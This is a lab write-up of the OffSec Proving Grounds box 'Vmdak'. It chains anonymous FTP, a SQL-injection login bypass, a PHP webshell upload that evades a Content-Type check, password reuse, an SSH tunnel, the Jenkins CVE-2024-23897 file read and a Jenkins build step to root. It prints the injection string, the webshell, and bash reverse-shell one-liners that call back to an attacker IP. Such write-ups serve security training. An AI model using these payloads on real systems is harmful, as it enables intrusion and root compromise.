PT1 certified | OSCP in progress

Vmdak – OffSec Practice Writeup

Vmdak OffSec Proving Grounds Practice writeup cover

This Vmdak OffSec Practice writeup covers the Proving Grounds machine: anonymous FTP recon, a SQL injection login bypass and a Content-Type upload to a webshell, password reuse for the user flag, and a tunnelled Jenkins CVE-2024-23897 file read that leads to a root shell.

Summary

Vmdak is a hard Linux box from OffSec Proving Grounds that chains a web-application compromise into a tunnelled CI/CD takeover. The path is long but every link is a realistic misconfiguration you will meet in the wild:

  1. Anonymous FTP leaks a config.xml that fingerprints a hidden Jenkins instance and points at an HTTPS "Prison Management System" on port 9443.
  2. A textbook SQL injection authentication bypass opens the admin panel, where application credentials are harvested.
  3. An image-upload filter that trusts the request Content-Type is bypassed to drop a PHP webshell, giving a www-data reverse shell.
  4. One harvested password is reused to su into a local user and grab the user flag.
  5. Local enumeration finds Jenkins bound to 127.0.0.1:8080. An SSH tunnel exposes it, CVE-2024-23897 reads the Jenkins setup token off disk, and a job build step returns a shell as root.

Reconnaissance

Start with a full TCP port sweep. rustscan finds open ports fast, then hands them to nmap for service/version detection and default scripts:

rustscan -a 192.168.135.103 -- -A -oN target

Everything after -- is passed straight to nmap: -A enables OS detection, version detection, default NSE scripts and traceroute; -oN target saves normal output to a file.

PORTSERVICEINFO
21/tcpvsftpd 3.0.5Anonymous FTP allowed (code 230); exposes config.xml (1752 bytes)
22/tcpOpenSSH 9.6p1 (Ubuntu 3ubuntu13.4)Ubuntu Linux; password + key auth
80/tcpApache httpd 2.4.58 (Ubuntu)Default "Apache2 Ubuntu Default Page" — no content
9443/tcpApache httpd 2.4.58 (Ubuntu) — ssl/httpHTTP title: Home – Prison Management System; TLS cert CN=vmdak.local, O=PrisonManagement

Two things stand out. First, anonymous FTP is enabled — ftp-anon in the scan shows the server accepted the anonymous login and listed a config.xml. Second, port 80 is just the stock Apache page, so the real application is the HTTPS app on 9443. The SSL certificate is worth reading: its Common Name vmdak.local and organization PrisonManagement tell us the vhost and the app’s theme before we even browse it. Add vmdak.local to /etc/hosts so vhost-based routing works:

echo "192.168.135.103 vmdak.local" | sudo tee -a /etc/hosts

FTP — anonymous access

Anonymous FTP means the server accepts the username anonymous (or ftp) with any password — a legacy convenience for public download servers that constantly leaks files it shouldn’t. Log in and pull everything:

ftp 192.168.135.103
# Name: anonymous
# Password: anonymous   (anything works)
ftp> ls
# -rw-r--r-- 1 0 0 1752 Sep 19 2024 config.xml
ftp> get config.xml
ftp> bye

The file is a Jenkins config.xml fragment. Jenkins is a Java-based CI/CD automation server, and its config.xml files describe the controller and its nodes — here it reveals the running version is Jenkins 2.401.2. That version string is the key: it is in range for CVE-2024-23897, a serious arbitrary-file-read bug we will use later. Jenkins is not reachable from outside yet, so we park this finding and move to the web app.

Initial access

SQL injection — authentication bypass

Browsing https://vmdak.local:9443/ shows the Prison Management System, and /Admin is a login panel. SQL injection happens when user input is concatenated straight into a SQL query instead of being passed as a bound parameter. A login query typically looks like:

SELECT * FROM users WHERE username = '<input>' AND password = '<input>';

If we submit the username admin' or 1=1-- -, the query becomes:

SELECT * FROM users WHERE username = 'admin' or 1=1-- -' AND password = '...';

The ' closes the username string, or 1=1 makes the WHERE clause always true, and -- - comments out the rest of the query (including the password check). The app logs us in as the first matching user. Payload used:

Username: admin' or 1=1-- -
Password: anything

Inside the dashboard the administrator Caroline Bassey is listed, the admin account’s password is shown as admin123, and the Leave Management page leaks a second set of credentials, malcom:RonnyCache001. Neither pair logs in over SSH, but every credential goes on a list — password reuse is one of the most reliable ways forward on these boxes.

Arbitrary file upload — Content-Type bypass

As admin we can create users and upload a profile image. The upload enforces an allow-list:

Only jpg, jpeg, Webp, gif, and png files are allowed.

The weakness is that the check trusts the HTTP Content-Type header the client sends, rather than inspecting the actual file bytes (its "magic number") or the final extension on disk. We can therefore upload a PHP webshell while lying about its type. Intercept the upload in Burp Suite and change the part’s header:

Content-Type: image/jpg

The body is a minimal PHP command-execution shell:

<?php system($_GET['cmd']); ?>

The server accepts it as an "image" and stores it with its .php extension inside the web root. Because the file lands under a directory Apache executes as PHP, visiting it runs our code:

https://192.168.135.103:9443/uploadImage/Profile/webshell.php?cmd=id

A webshell is awkward (one request per command, no job control), so immediately upgrade to an interactive reverse shell. Start a listener on your box (nc -lvnp 4444) and trigger:

/bin/bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1" &

This spawns an interactive Bash (bash -i), redirects its stdout and stderr (>&) to a TCP socket Bash opens to our IP on port 4444 (/dev/tcp/192.168.45.168/4444), and wires stdin back from the same socket (0>&1). The trailing & backgrounds it so the web request returns. We land as www-data.

Credential reuse → user flag

/home contains a user vmdak. A www-data shell is a pivot, not a dead end: test every password we have found against local users with su. The password harvested for malcom is reused as the vmdak system password:

su vmdak
# Password: RonnyCache001
id   # uid=1000(vmdak) gid=1000(vmdak) ...
cat /home/vmdak/local.txt

We now have a stable session as vmdak and the user flag.

Privilege escalation

Enumeration — a localhost-only Jenkins

Run a privilege-escalation enumeration script such as linpeas.sh and look at listening sockets. Several services are bound to the loopback interface only, which means they are not reachable from the network — but they are reachable from the host itself:

ss -tlnp
tcp LISTEN 0 50  127.0.0.1:8080   0.0.0.0:*     # <-- Jenkins
tcp LISTEN 0 70  127.0.0.1:33060  0.0.0.0:*     # MySQL X protocol
tcp LISTEN 0 151 127.0.0.1:3306   0.0.0.0:*     # MySQL

Port 8080 is Jenkins’ default — this is the instance the FTP config.xml fingerprinted. To reach a loopback-only port from our attack box, forward it through SSH. Because we have valid credentials for vmdak, open a local port-forward:

ssh -L 9090:127.0.0.1:8080 vmdak@192.168.135.103 -N

-L 9090:127.0.0.1:8080 tells SSH: listen on localhost:9090 on my machine and forward anything sent there, through the SSH connection, to 127.0.0.1:8080 as seen by the target. -N means "don’t run a remote command, just hold the tunnel open." Now http://localhost:9090/ on our box is the target’s private Jenkins.

CVE-2024-23897 — Jenkins arbitrary file read

The tunnelled Jenkins is still showing its setup wizard, which asks for a one-time unlock token stored on disk at /root/.jenkins/secrets/initialAdminPassword. We cannot read that as vmdak — but Jenkins 2.401.2 is vulnerable to CVE-2024-23897.

The bug is in Jenkins’ built-in CLI, which uses the args4j library to parse command arguments. args4j has a feature where any argument beginning with @ is transparently replaced by the contents of the file at that path on the Jenkins controller. On unpatched versions this expansion is reachable by a low-privileged (or even anonymous) user, turning it into an arbitrary file read — the attacker names a file and Jenkins returns its contents (one line at a time) in the command’s error output. It is the canonical way to steal initialAdminPassword, SSH keys, or the secret.key/master.key used to decrypt stored Jenkins credentials.

Use the public proof-of-concept (https://github.com/verylazytech/CVE-2024-23897) to read the token:

python3 CVE-2024-23897.py -u "http://localhost:9090" -f "/root/.jenkins/secrets/initialAdminPassword"
# -> 140ef31373034d19a77baa9c6b84a200

-u is the target URL (our tunnel) and -f is the absolute path to read. Under the hood the PoC downloads jenkins-cli.jar from the instance (/jnlpJars/jenkins-cli.jar) and runs a CLI command with the @<path> argument so args4j leaks the file back.

Feed 140ef31373034d19a77baa9c6b84a200 into the unlock screen, skip the suggested-plugins step, and create the first admin account (e.g. admin:admin). Set the Jenkins URL to http://localhost:8080/ and finish. We now own the Jenkins instance.

Jenkins job → root shell

Why does owning Jenkins mean owning the host? Because a CI server’s entire purpose is to run arbitrary build steps — shell commands, scripts, compilers — and those steps execute as the Jenkins controller’s OS user. On this box that user is root. No further exploit is required; the intended functionality is the code execution.

Create a new Freestyle project named test. Under Build Steps → Execute shell, drop a reverse-shell one-liner:

/bin/bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1" &

Save, click Build Now, and the job runs the command on the controller. Our listener catches a shell as root:

root@vmdak:~/.jenkins/workspace/test# id
uid=0(root) gid=0(root) groups=0(root)

(The same result is available one-shot via Manage Jenkins → Script Console, which runs Groovy as the controller: "bash -c 'bash -i >& /dev/tcp/192.168.45.168/4444 0>&1'".execute().)

Read proof.txt to finish the box.

Conclusion

Vmdak is a defense-in-depth failure: no single bug owns the box, but a chain of small misconfigurations does. Anonymous FTP leaks a config.xml that both fingerprints the internal Jenkins version and advertises the real application — reconnaissance gold that should never be world-readable. The Prison Management System then stacks two textbook web flaws: a boolean SQL injection that bypasses authentication outright, and an upload filter that trusts the client-supplied Content-Type instead of validating file content server-side.

The pivot that ties it together is credential hygiene: an application password doubling as a Linux user’s password turns a www-data webshell into an interactive user session for free. The finale shows why a CI/CD controller is a crown-jewel target — Jenkins running as root and reachable on localhost means any file-read primitive (CVE-2024-23897) that recovers the setup token is instantly a full root compromise, because build steps are designed to run arbitrary commands.

Remediation: disable anonymous FTP and keep config/backup files off shared services; use parameterized queries and server-side content validation (magic-byte checks, re-encoding) for uploads; enforce unique credentials per service and user; patch Jenkins (≥ 2.442 / LTS ≥ 2.426.3) or disable the CLI; and never run the Jenkins controller as root — delegate jobs to unprivileged agents and firewall the management port.

Lessons learned

  • Leaked config/backup files are fingerprints, not just loot. The anonymous FTP config.xml was "only" a Jenkins config, but its version string (2.401.2) is what mapped the hidden localhost service straight onto CVE-2024-23897 later.
  • Harvested app passwords belong on the reuse list immediately. admin123 and RonnyCache001 failed against SSH at first glance, but RonnyCache001 worked as the vmdak system password via su. Always spray every discovered password across every user and service.
  • A www-data shell is a pivot, not a dead end. The jump from www-data → vmdak came purely from password reuse — enumerate /home, then test known passwords with su for each user.
  • Loopback-bound ports are the privesc path on "stuck" boxes. A service on 127.0.0.1:8080 felt out of reach, but an SSH -L tunnel put it one click away.
  • Owning Jenkins ≈ owning the host. Once admin, you do not need an exploit — a Freestyle job’s "Execute shell" (or the Groovy Script Console) runs as the controller user, which was root here.
Index